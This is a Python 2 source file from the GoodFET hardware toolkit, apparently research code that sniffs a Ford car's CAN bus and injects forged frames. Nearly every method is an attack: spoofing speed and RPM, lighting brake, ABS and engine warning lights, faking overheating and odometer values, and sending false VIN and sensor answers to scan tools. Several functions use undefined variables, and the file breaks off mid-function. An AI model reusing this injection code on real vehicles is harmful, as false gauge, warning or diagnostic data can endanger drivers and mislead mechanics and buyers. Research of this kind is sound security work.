5d04842da9097171b7d4bf7e1e2a3066dc5c2de2
[goodfet] / client / FordExperiments.py
1 import sys;
2 import binascii;
3 import array;
4 import csv, time, argparse;
5 import datetime
6 import os
7 import random
8 from random import randrange
9 from GoodFETMCPCAN import GoodFETMCPCAN;
10 from experiments import experiments
11 from GoodFETMCPCANCommunication import GoodFETMCPCANCommunication
12 from intelhex import IntelHex;
13 import Queue
14 import math
15 import wave
16
17 tT = time
18 class FordExperiments(experiments):
19     """
20     This class is a subclass of experiments and is a car specific module for 
21     demonstrating and testing hacks. 
22     """
23     def __init__(self, dataLocation = "../../contrib/ThayerData/"):
24         GoodFETMCPCANCommunication.__init__(self, dataLocation)
25         #super(FordExperiments,self).__init__(self) #initialize chip
26         self.freq = 500;
27
28     def mimic1056(self,packetData,runTime):
29         #setup chip
30         self.client.serInit()
31         self.spitSetup(self.freq)
32         #FIGURE out how to clear buffers
33         self.addFilter([1056, 1056, 1056, 1056,1056, 1056], verbose=False)
34         packet1 = self.client.rxpacket();
35         if(packet1 != None):
36             packetParsed = self.client.packet2parsed(packet1);
37         #keep sniffing till we read a packet
38         while( packet1 == None or packetParsed.get('sID') != 1056 ):
39             packet1 = self.client.rxpacket()
40             if(packet1 != None):
41                 packetParsed = self.client.packet2parsed(packet1)
42         recieveTime = time.time()
43         packetParsed = self.client.packet2parsed(packet1)
44         if( packetParsed['sID'] != 1056):
45             print "Sniffed wrong packet"
46             return
47         countInitial = ord(packetParsed['db3']) #initial count value
48         packet = []
49         #set data packet to match what was sniffed or at least what was input
50         for i in range(0,8):
51             idx = "db%d"%i
52             if(packetData.get(idx) == None):
53                 packet.append(ord(packetParsed.get(idx)))
54             else:
55                 packet.append(packetData.get(idx))
56         print packet
57         #### split SID into different regs
58         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
59         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
60         packet = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
61                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
62                   # lower nibble is DLC                   
63                  packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
64         packetCount = 1;
65         self.client.txpacket(packet);
66         tpast = time.time()
67         while( (time.time()-recieveTime) < runTime):
68             #care about db3 or packet[8] that we want to count at the rate that it is
69             dT = time.time()-tpast
70             if( dT/0.2 >= 1):
71                 db3 = (countInitial + math.floor((time.time()-recieveTime)/0.2))%255
72                 packet[8] = db3
73                 self.client.txpacket(packet)
74                 packetCount += 1
75             else:
76                 packetCount += 1
77                 self.client.MCPrts(TXB0=True)
78             tpast = time.time()  #update our transmit time on the one before   
79             
80                 
81          
82     def cycledb1_1056(self,runTime):
83         #setup chip
84         self.client.serInit()
85         self.spitSetup(500)
86         #FIGURE out how to clear buffers
87         self.addFilter([1056, 1056, 1056, 1056,1056, 1056], verbose=False)
88         packet1 = self.client.rxpacket();
89         if(packet1 != None):
90             packetParsed = self.client.packet2parsed(packet1);
91         #keep sniffing till we read a packet
92         while( packet1 == None or packetParsed.get('sID') != 1056 ):
93             time.sleep(.1)
94             packet1 = self.client.rxpacket()
95             if(packet1 != None):
96                 packetParsed = self.client.packet2parsed(packet1)
97         recieveTime = time.time()
98         packetParsed = self.client.packet2parsed(packet1)
99         if( packetParsed['sID'] != 1056):
100             print "Sniffed wrong packet"
101             return
102         packet = []
103         #set data packet to match what was sniffed or at least what was input
104         for i in range(0,8):
105             idx = "db%d"%i
106             packet.append(ord(packetParsed.get(idx)))
107         packetValue = 0
108         packet[1] = packetValue;
109         
110         print packet
111         #### split SID into different regs
112         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
113         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
114         packet = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
115                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
116                   # lower nibble is DLC                   
117                  packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
118         packetCount = 1;
119         self.client.txpacket(packet);
120         tpast = time.time()
121         while( (time.time()-recieveTime) < runTime):
122             #care about db3 or packet[8] that we want to count at the rate that it is
123             dT = time.time()-tpast
124             packetValue += 10
125             pV = packetValue%255
126             #temp = ((packetValue+1))%2
127             #if( temp == 1):
128             #    pV = packetValue%255
129             #else:
130             #    pV = 0
131             packet[6] = pV
132             #packet[6] = 1
133             print packet
134             self.client.txpacket(packet)
135             packetCount += 1
136             tpast = time.time()  #update our transmit time on the one before   
137         print packetCount;
138         
139     def getBackground(self,sId):
140         """
141         This method gets the background packets for the given id. This
142         is a simple "background" retriever in that it returns the packet
143         that is of the given id that was sniffed off the bus.
144         """
145         self.client.serInit()
146         self.spitSetup(500)
147         self.addFilter([sId,sId,sId,sId,sId,sId])
148         packet1 = self.client.rxpacket();
149         if(packet1 != None):
150             packetParsed = self.client.packet2parsed(packet1);
151         #keep sniffing till we read a packet
152         startTime = time.time()
153         while( (packet1 == None or packetParsed.get('sID') != sId) and (time.time() - startTime) < 5):
154             packet1 = self.client.rxpacket()
155             print packet1
156             if(packet1 != None):
157                 packetParsed = self.client.packet2parsed(packet1)
158         if( packet1 == None or packetParsed.get('sID') != sId):
159             print "exiting without packet"
160         #print "returning", packetParsed
161         #recieveTime = time.time()
162         return packetParsed
163
164     def cycle4packets1279(self):
165         self.client.serInit()
166         self.spitSetup(500)
167         # filter on 1279
168         self.addFilter([1279, 1279, 1279, 1279, 1279, 1279], verbose = False)
169         packetParsed = self.getBackground(1279)
170         packet = []
171         if (packetParsed[db0] == 16):
172             # if it's the first of the four packets, replace the value in db7  with 83
173             packetParsed[db7] = 83
174             # transmit new packet
175             self.client.txpacket(packetParsed)
176         else:
177         # otherwise, leave it alone
178             # transmit same pakcet we read in
179             self.client.txpacket(packetParsed)
180         # print the packet we are transmitting
181         print packetParsed
182         
183     def oscillateMPH(self,runTime):
184         self.client.serInit()
185         self.spitSetup(500)
186         #FIGURE out how to clear buffers
187         self.addFilter([513, 513, 513, 513,513, 513], verbose=False)
188         packetParsed = self.getBackground(513)
189         packet = []
190         #set data packet to match what was sniffed or at least what was input
191         for i in range(0,8):
192             idx = "db%d"%i
193             packet.append(packetParsed.get(idx))
194         packetValue = 0
195         packet[1] = packetValue;
196         
197         print packet
198         #### split SID into different regs
199         SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
200         SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
201         packet = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
202                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
203                   # lower nibble is DLC                   
204                  packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
205         packetCount = 1;
206         self.client.txpacket(packet);
207         startTime = tT.time()
208         while( (tT.time()-startTime) < runTime):
209             dt = tT.time()-startTime
210             inputValue = ((2.0*math.pi)/20.0)*dt
211             value =         35*math.sin(inputValue)+70
212             print value
213             #if( value%4 == 0):
214             #    packet[5] = 95
215             #else:
216             #    packet[5] = 0
217             #packet[9] = int(value)
218             packet[5] = int(value)
219             print packet
220             self.client.txpacket(packet)
221             packetCount += 1
222     def oscillateTemperature(self,runTime):
223         """
224         
225         
226         """
227         #setup chip
228         self.client.serInit()
229         self.spitSetup(500)
230         #FIGURE out how to clear buffers
231         self.addFilter([1056, 1056, 1056, 1056,1056, 1056], verbose=False)
232         packetParsed = self.getBackground(1056)
233         packet = []
234         #set data packet to match what was sniffed or at least what was input
235         for i in range(0,8):
236             idx = "db%d"%i
237             packet.append(packetParsed.get(idx))
238         packetValue = 0
239         packet[1] = packetValue;
240         
241         print packet
242         #### split SID into different regs
243         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
244         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
245         packet = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
246                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
247                   # lower nibble is DLC                   
248                  packet[0],packet[1],packet[2],packet[3],packet[4],packet[5],packet[6],packet[7]]
249         packetCount = 1;
250         self.client.txpacket(packet);
251         startTime = tT.time()
252         while( (tT.time()-startTime) < runTime):
253             dt = tT.time()-startTime
254             inputValue = ((2.0*math.pi)/20.0)*dt
255             value = 30*math.sin(inputValue)+130
256             print value
257             #packet[5] = int(value)
258             if( value > 130 ):
259                 packet[5] = 160
260             else:
261                 packet[5] = 100
262             #packet[6] = 1
263             print packet
264             self.client.txpacket(packet)
265             packetCount += 1
266             #tpast = time.time()  #update our transmit time on the one before   
267         print packetCount;
268         
269         
270     def fakeVIN(self):
271        #reset eveything on the chip
272        self.client.serInit() 
273        self.reset()
274        duration = 20; #seconds 
275        
276        listenID = 2015
277        listenPacket = [2, 9, 6, 153, 153, 153, 153, 153]
278        responseID = 2024
279        #actual response by the car
280        #r1 = [34, 88, 0, 0, 0, 0, 0, 0]
281        #r2 = [33, 75, 50, 78, 51, 46, 72, 69 ]
282        #r3 = [16, 19, 73, 4, 1, 70, 65, 66]
283        
284        r1 = [34, 88, 0, 0, 0, 0, 0, 0]
285        r2 = [33, 75, 50, 78, 51, 46, 72, 69 ]
286        r3 = [16, 19, 73, 160, 159, 70, 65, 66]
287        
288        #format
289        SIDlow = (responseID & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
290        SIDhigh = (responseID >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
291        packet1 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
292                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
293                   # lower nibble is DLC                   
294                  r1[0],r1[1],r1[2],r1[3],r1[4],r1[5],r1[6],r1[7]]
295        packet2 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
296               0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
297                   # lower nibble is DLC                   
298                  r2[0],r2[1],r2[2],r2[3],r2[4],r2[5],r2[6],r2[7]]
299        packet3 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
300                   0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
301                   # lower nibble is DLC                   
302                  r3[0],r3[1],r3[2],r3[3],r3[4],r3[5],r3[6],r3[7]]
303
304        self.multiPacketSpit(packet0 = r1, packet1 = r2, packet2 = r3, packet0rts = True, packet1rts = True, packet2rts = True)
305
306        #filter for the correct packet
307        self.filterForPacket(listenID, listenPacket[0],listenPacket[1], verbose = True)
308        self.client.rxpacket()
309        self.client.rxpacket() # flush buffers if there is anything
310        startTime = tT.time()
311        while( (tT.time() -startTime) < duration):
312            packet = self.client.rxpacket()
313            if( packet != None):
314                sid =  ord(packet[0])<<3 | ord(packet[1])>>5
315                if( sid == listenID):
316                    byte3 = ord(packet[6])
317                    if( byte3 == listenPacket[3]):
318                        print "SendingPackets!"
319                        #send packets
320                        self.multpackSpit(packet0rts=True,packet1rts=True,packet2rts=True)
321                        
322     def setScanToolTemp(self,temp):
323         self.client.serInit()
324         self.spitSetup(500)
325
326         self.addFilter([2024, 2024, 2024])
327         self.client.rxpacket()
328         self.client.rxpacket()
329         self.client.rxpacket()
330         SIDlow = (2024 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
331         SIDhigh = (2024 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
332               
333         startTime = time.time()  
334         #while((time.time() - startTime) < 10):
335             
336         packet = None;
337
338         # catch a packet and check its db4 value
339         while (packet == None):
340             packet=self.client.rxpacket();
341
342         
343         newTemp = math.ceil(level/1.8 + 22)
344         #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
345
346             
347         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
348                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
349                        # lower nibble is DLC                   
350                        ord(packet[5]),ord(packet[6]),ord(packet[7]),newTemp,ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
351
352         # load new packet into TXB0 and check time
353         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
354         starttime = time.time()
355         
356         # spit new value for 1 second
357         while (time.time()-starttime < 10):
358             self.multiPacketSpit(packet0rts=True)
359             
360     def overHeatEngine(self):
361         self.client.serInit()
362         self.spitSetup(500)
363
364         self.addFilter([1056, 1056, 1056])
365         packet = self.getBackground(1056)
366         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
367         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
368     
369         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
370                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
371                        # lower nibble is DLC                   
372                        0xfa,packet['db1'],packet['db2'],packet['db3'],packet['db4'],packet['db5'],packet['db6'],packet['db7']]
373         startTime = time.time()
374         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
375         while( time.time()- startTime < 10):
376             self.multiPacketSpit(packet0rts=True)
377             
378     def runOdometer(self):
379         self.client.serInit()
380         self.spitSetup(500)
381
382         self.addFilter([1056, 1056, 1056])
383         packet = self.getBackground(1056)
384         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
385         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
386         odomFuzz = random.randint(1,254)
387         print packet
388         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
389                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
390                        # lower nibble is DLC                   
391                        packet['db0'],packet['db1'],packet['db2'],packet['db3'],packet['db4'],packet['db5'],packet['db6'],packet['db7']]
392         
393         startTime = time.time()
394         packet[6] = odomFuzz;
395         while( time.time()- startTime < 10):
396             odomFuzz = random.randint(1,254)
397             newPacket[6] = odomFuzz
398             self.client.txpacket(newPacket)
399         
400     def setDashboardTemp(self, temp):
401         self.client.serInit()
402         self.spitSetup(500)
403
404         self.addFilter([1056, 1056, 1056])
405         self.client.rxpacket()
406         self.client.rxpacket()
407         self.client.rxpacket()
408         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
409         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
410               
411         startTime = time.time()  
412         #while((time.time() - startTime) < 10):
413             
414         packet = None;
415
416         # catch a packet and check its db4 value
417         while (packet == None):
418             packet=self.client.rxpacket();
419
420         
421         newTemp = math.ceil(level/1.8 + 22)
422         #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
423
424             
425         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
426                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
427                        # lower nibble is DLC                   
428                        newTemp,ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
429
430         # load new packet into TXB0 and check time
431         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
432         starttime = time.time()
433         
434         # spit new value for 1 second
435         while (time.time()-starttime < 10):
436             self.multiPacketSpit(packet0rts=True)
437
438       
439     def warningLightsOn(self,checkEngine, checkTransmission, transmissionOverheated, engineLight, battery, fuelCap, checkBreakSystem,ABSLight, dashB):                 
440         
441         if( checkBreakSystem == 1 or ABSLight == 1):
442             SIDlow = (530 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
443             SIDhigh = (530 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
444             print "looking for 530"
445             packet = self.getBackground(530)
446             print "found"
447             packet2 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
448                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
449                        # lower nibble is DLC                   
450                        packet['db0'],packet['db1'],packet['db2'],packet['db3'],packet['db4'],packet['db5'],packet['db6'],packet['db7']]
451             if( checkBreakSystem == 1 and ABSLight == 1):
452                 packet2[9] = 97
453             elif( checkBreakSystem == 0 and ABSLight == 1):
454                 packet2[9] = 16
455             elif(checkBreakSystem==1 and ABSLight == 0):
456                 packet2[9] = 64
457             packet2rts = True
458         else:
459             packet2rts = False
460             packet2 = None
461         print packet2
462         SIDlow = (1056 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
463         SIDhigh = (1056 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
464         print "looking for 1056"
465         packet = self.getBackground(1056)
466         print "found"
467         packet1 = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
468                    0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
469                    # lower nibble is DLC                   
470                    packet['db0'],packet['db1'],packet['db2'],packet['db3'],packet['db4'],packet['db5'],packet['db6'],packet['db7']] 
471         if( checkEngine == 1):
472             packet1[9] += 2;
473             print packet1
474         if( checkTransmission == 1):
475             packet1[9] += 3;
476             print packet1
477         if( transmissionOverheated == 1):
478             packet1[9] += 4
479             print packet1
480         if( engineLight == 1):
481             packet1[9] += 64
482             print packet1
483         if( fuelCap == 1):
484             packet1[10] = 255
485             print packet1
486         if( battery == 1):
487             packet1[7] = 33
488             print packet1
489         if( dashB == 1):
490             packet1[6] = 255
491         print "hello"
492         self.client.serInit()
493         self.spitSetup(500)
494         # load new packet into TXB0 and check time
495         self.multiPacketSpit(packet0=packet1,packet1=packet2, packet0rts=True,packet1rts=packet2rts )
496         starttime = time.time()
497         print "starting"
498         # spit new value for 1 second
499         while ((time.time()-starttime) < 10):
500             self.multiPacketSpit(packet0rts=True,packet1rts = packet2rts)
501     
502     def fakeScanToolFuelLevel(self,level):
503         self.client.serInit()
504         self.spitSetup(500)
505
506         self.addFilter([2024, 2024, 2024])
507         self.client.rxpacket()
508         self.client.rxpacket()
509         self.client.rxpacket()
510         SIDlow = (2024 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
511         SIDhigh = (2024 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
512               
513         startTime = time.time()  
514         #while((time.time() - startTime) < 10):
515             
516         packet = None;
517
518         # catch a packet and check its db4 value
519         while (packet == None):
520             packet=self.client.rxpacket();
521
522         level = int(level/.4)
523         #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
524
525             
526         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
527                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
528                        # lower nibble is DLC                   
529                        3,65,47,level,ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
530
531         # load new packet into TXB0 and check time
532         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
533         starttime = time.time()
534         
535         # spit new value for 1 second
536         while (time.time()-starttime < 10):
537             self.multiPacketSpit(packet0rts=True)
538             
539     def fakeOutsideTemp(self,level):
540         self.client.serInit()
541         self.spitSetup(500)
542
543         self.addFilter([2024, 2024, 2024,2024,2024,2024])
544         self.client.rxpacket()
545         self.client.rxpacket()
546         self.client.rxpacket()
547         SIDlow = (2024 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
548         SIDhigh = (2024 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
549               
550         startTime = time.time()  
551         #while((time.time() - startTime) < 10):
552             
553         packet = None;
554
555         # catch a packet and check its db4 value
556         while (packet == None):
557             packet=self.client.rxpacket();
558         
559         newTemp = int(math.ceil(level/1.8 + 22))
560         #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
561         print newTemp
562         
563         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
564                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
565                        # lower nibble is DLC                   
566                        03,65,70,newTemp,0,0,0,0]
567
568         # load new packet into TXB0 and check time
569         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
570         starttime = time.time()
571         print newPacket
572         # spit new value for 1 second
573         while (time.time()-starttime < 10):
574             self.multiPacketSpit(packet0rts=True)
575
576     
577     def fakeAbsTps(self,level):
578         self.client.serInit()
579         self.spitSetup(500)
580
581         self.addFilter([2024, 2024, 2024])
582         self.client.rxpacket()
583         self.client.rxpacket()
584         self.client.rxpacket()
585         SIDlow = (2024 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
586         SIDhigh = (2024 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
587               
588         startTime = time.time()  
589         #while((time.time() - startTime) < 10):
590             
591         packet = None;
592
593         # catch a packet and check its db4 value
594         while (packet == None):
595             packet=self.client.rxpacket();
596
597         abstps = int(math.ceil(level/.39))
598
599
600             
601         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
602                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
603                        # lower nibble is DLC                   
604                        ord(packet[5]),ord(packet[6]),ord(packet[7]),abstps,ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
605
606         # load new packet into TXB0 and check time
607         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
608         starttime = time.time()
609         
610         # spit new value for 1 second
611         while (time.time()-starttime < 10):
612             self.multiPacketSpit(packet0rts=True)
613
614
615                        
616     def mphToByteValue(self, mph):
617         return ( mph + 63.5 ) / 1.617
618
619     def ByteValuToMph(self, value):
620         return 1.617*ord(packet[9]) - 63.5
621
622     def setMPH(self, mph):
623         self.client.serInit()
624         self.spitSetup(500)
625
626         self.addFilter([513, 513, 513])
627         self.client.rxpacket()
628         self.client.rxpacket()
629         self.client.rxpacket()
630         SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
631         SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
632               
633         startTime = time.time()  
634         #while((time.time() - startTime) < 10):
635             
636         packet = None;
637
638         # catch a packet and check its db4 value
639         while (packet == None):
640             packet=self.client.rxpacket();
641         
642         #print self.client.packet2str(packet)
643
644         #print "DB4 = %02d " %ord(packet[9])
645        
646         #print "Current MPH = 1.617(%d)-63.5 = %d" %(ord(packet[9]), mph)
647             
648         # calculate our new mph and db4 value
649         
650         newSpeed = self.mphToByteValue(mph)
651         #print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
652
653             
654         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
655                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
656                        # lower nibble is DLC                   
657                        ord(packet[5]),ord(packet[6]),ord(packet[7]),ord(packet[8]),int(newSpeed),ord(packet[10]),ord(packet[11]),ord(packet[12])]
658
659         # load new packet into TXB0 and check time
660         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
661         starttime = time.time()
662         
663         # spit new value for 1 second
664         while (time.time()-starttime < 10):
665             self.multiPacketSpit(packet0rts=True)
666
667
668     def speedometerHack(self, inputs):
669         
670         self.client.serInit()
671         self.spitSetup(500)
672
673         self.addFilter([513, 513, 513])
674         
675         SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
676         SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
677                 
678        #while(1):
679             
680         packet = None;
681
682         # catch a packet and check its db4 value
683         while (packet == None):
684             packet=self.client.rxpacket();
685         
686         print self.client.packet2str(packet)
687
688         print "DB4 = %02d " %ord(packet[9])
689         mph = 1.617*ord(packet[9]) - 63.5
690         print "Current MPH = 1.617(%d)-63.5 = %d" %(ord(packet[9]), mph)
691             
692         # calculate our new mph and db4 value
693         mph = mph + inputs[0];
694         newSpeed = ( mph + 63.5 ) / 1.617
695         print "Fake MPH = 1.617(%d)-63.5 = %d" %(newSpeed, mph)
696
697             
698         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
699                        0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
700                        # lower nibble is DLC                   
701                        ord(packet[5]),ord(packet[6]),ord(packet[7]),ord(packet[8]),int(newSpeed),ord(packet[10]),ord(packet[11]),ord(packet[12])]
702
703         # load new packet into TXB0 and check time
704         self.multiPacketSpit(packet0=newPacket, packet0rts=True)
705         starttime = time.time()
706         
707         # spit new value for 1 second
708         while (time.time()-starttime < 1):
709             self.multiPacketSpit(packet0rts=True)
710                 
711     def rpmToByteValue(self, rpm):
712         value = ( rpm + 61.88 ) / 64.5
713         return int(value)
714     
715     def ValueTorpm(self, value):
716         rpm = 64.5*value - 61.88
717         return rpm
718     
719     def setRPM(self, rpm):
720         self.client.serInit()
721         self.spitSetup(500)
722     
723         self.addFilter([513, 513, 513,513])
724     
725         SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
726         SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
727         
728         #clear buffers
729         self.client.rxpacket()
730         self.client.rxpacket()
731         self.client.rxpacket()
732
733         startTime = tT.time()
734         while((tT.time() - startTime )< 10):
735         
736             packet = None;
737         
738             # catch a packet and check its db4 value
739             while (packet == None):
740                 packet=self.client.rxpacket();
741         
742             #print self.client.packet2str(packet)
743         
744             #print "DB4 = %02d " %ord(packet[5])
745            
746             #print "Current RPM = 64.5(%d)-61.88 = %d" %(ord(packet[5]), rpm)
747         
748             newRPM = self.rpmToByteValue(rpm)
749             #print "Fake RPM = 64.5(%d)-61.88 = %d" %(newRPM, rpm)
750             
751         
752             newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
753                      0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
754                      # lower nibble is DLC                   
755                      int(newRPM),ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
756         
757             # load new packet into TXB0 and check time
758             self.multiPacketSpit(packet0=newPacket, packet0rts=True)
759             starttime = time.time()
760         
761             # spit new value for 1 second
762             while (time.time()-starttime < 1):
763                 self.multiPacketSpit(packet0rts=True)
764
765     def rpmHack(self, inputs):
766         """
767         This method will increase the rpm by the given rpm amount.
768         
769         @type inputs: List
770         @param inputs: Single element of a list that corresponds to the amount the user
771                        wishses to 
772         """
773     
774         self.client.serInit()
775         self.spitSetup(500)
776     
777         self.addFilter([513, 513, 513])
778     
779         SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
780         SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
781         startTime = tT.time()
782         while((tT.time() - startTime )< 10):
783         
784             packet = None;
785         
786             # catch a packet and check its db4 value
787             while (packet == None):
788                 packet=self.client.rxpacket();
789         
790             print self.client.packet2str(packet)
791         
792             print "DB4 = %02d " %ord(packet[5])
793             rpm = 64.5*ord(packet[5]) - 61.88
794             print "Current RPM = 64.5(%d)-61.88 = %d" %(ord(packet[5]), rpm)
795         
796             # calculate our new mph and db4 value
797             rpm = rpm + inputs[0];
798             newRPM = ( rpm + 61.88 ) / 64.5
799             newRPM = int(newRPM)
800             print "Fake RPM = 64.5(%d)-61.88 = %d" %(newRPM, rpm)
801             
802         
803             newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
804                      0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
805                      # lower nibble is DLC                   
806                      int(newRPM),ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
807         
808             # load new packet into TXB0 and check time
809             self.multiPacketSpit(packet0=newPacket, packet0rts=True)
810             starttime = time.time()
811         
812             # spit new value for 1 second
813             while (time.time()-starttime < 1):
814                 self.multiPacketSpit(packet0rts=True)
815
816     def imbeethovenbitch(self):
817         
818         
819         ### USUAL SETUP STUFF  ######
820         self.client.serInit()
821         self.spitSetup(500)
822         self.addFilter([513, 513, 513,513])
823         SIDlow = (513 & 0x07) << 5;  # get SID bits 2:0, rotate them to bits 7:5
824         SIDhigh = (513 >> 3) & 0xFF; # get SID bits 10:3, rotate them to bits 7:0
825         
826         #clear buffers
827         self.client.rxpacket()
828         self.client.rxpacket()
829         self.client.rxpacket()
830         
831         
832         packet = None;
833         
834         #catch a packet to mutate
835         while (packet == None):
836             packet=self.client.rxpacket();
837         newPacket = [SIDhigh, SIDlow, 0x00,0x00, # pad out EID regs
838                      0x08, # bit 6 must be set to 0 for data frame (1 for RTR) 
839                      # lower nibble is DLC                   
840                      ord(packet[5]),ord(packet[6]),ord(packet[7]),ord(packet[8]),ord(packet[9]),ord(packet[10]),ord(packet[11]),ord(packet[12])]
841         
842         
843         # NOW THE FUN STUFF!!!!!
844         
845         music = wave.open("../../contrib/ted/beethovensfifth.wav", 'r');
846         print "number of frames: %d " %music.getnframes()
847         print "number of channels: %d " %music.getnchannels()
848         print "sample width: %d " %music.getsampwidth()
849         print "framerate: %d " %music.getframerate()
850         print "compression: %s " %music.getcompname()
851         
852         length = music.getnframes()
853         pos = music.tell()
854         print " NOW NOW NOW NOW NOW NOW NOW NOW NOW"
855         
856         while(pos < music.getnframes()):
857             runningaverage = 0
858             
859             pos = music.tell()
860             sample = music.readframes(2300) #approximately .05 seconds of audio --> 7133184/44100/.1
861             #print "NEXT FRAME"
862             
863             length = len(sample)
864             #print length
865             
866             for i in range(0, length,4):
867                 runningaverage += ord(sample[i])#ord(sample[i])
868                 runningaverage += ord(sample[i+2])
869             
870             avg = runningaverage/(length / 4)/2
871             #print avg
872             
873             
874             #print avg-120
875             val = (40 + 5*(avg-120))
876             
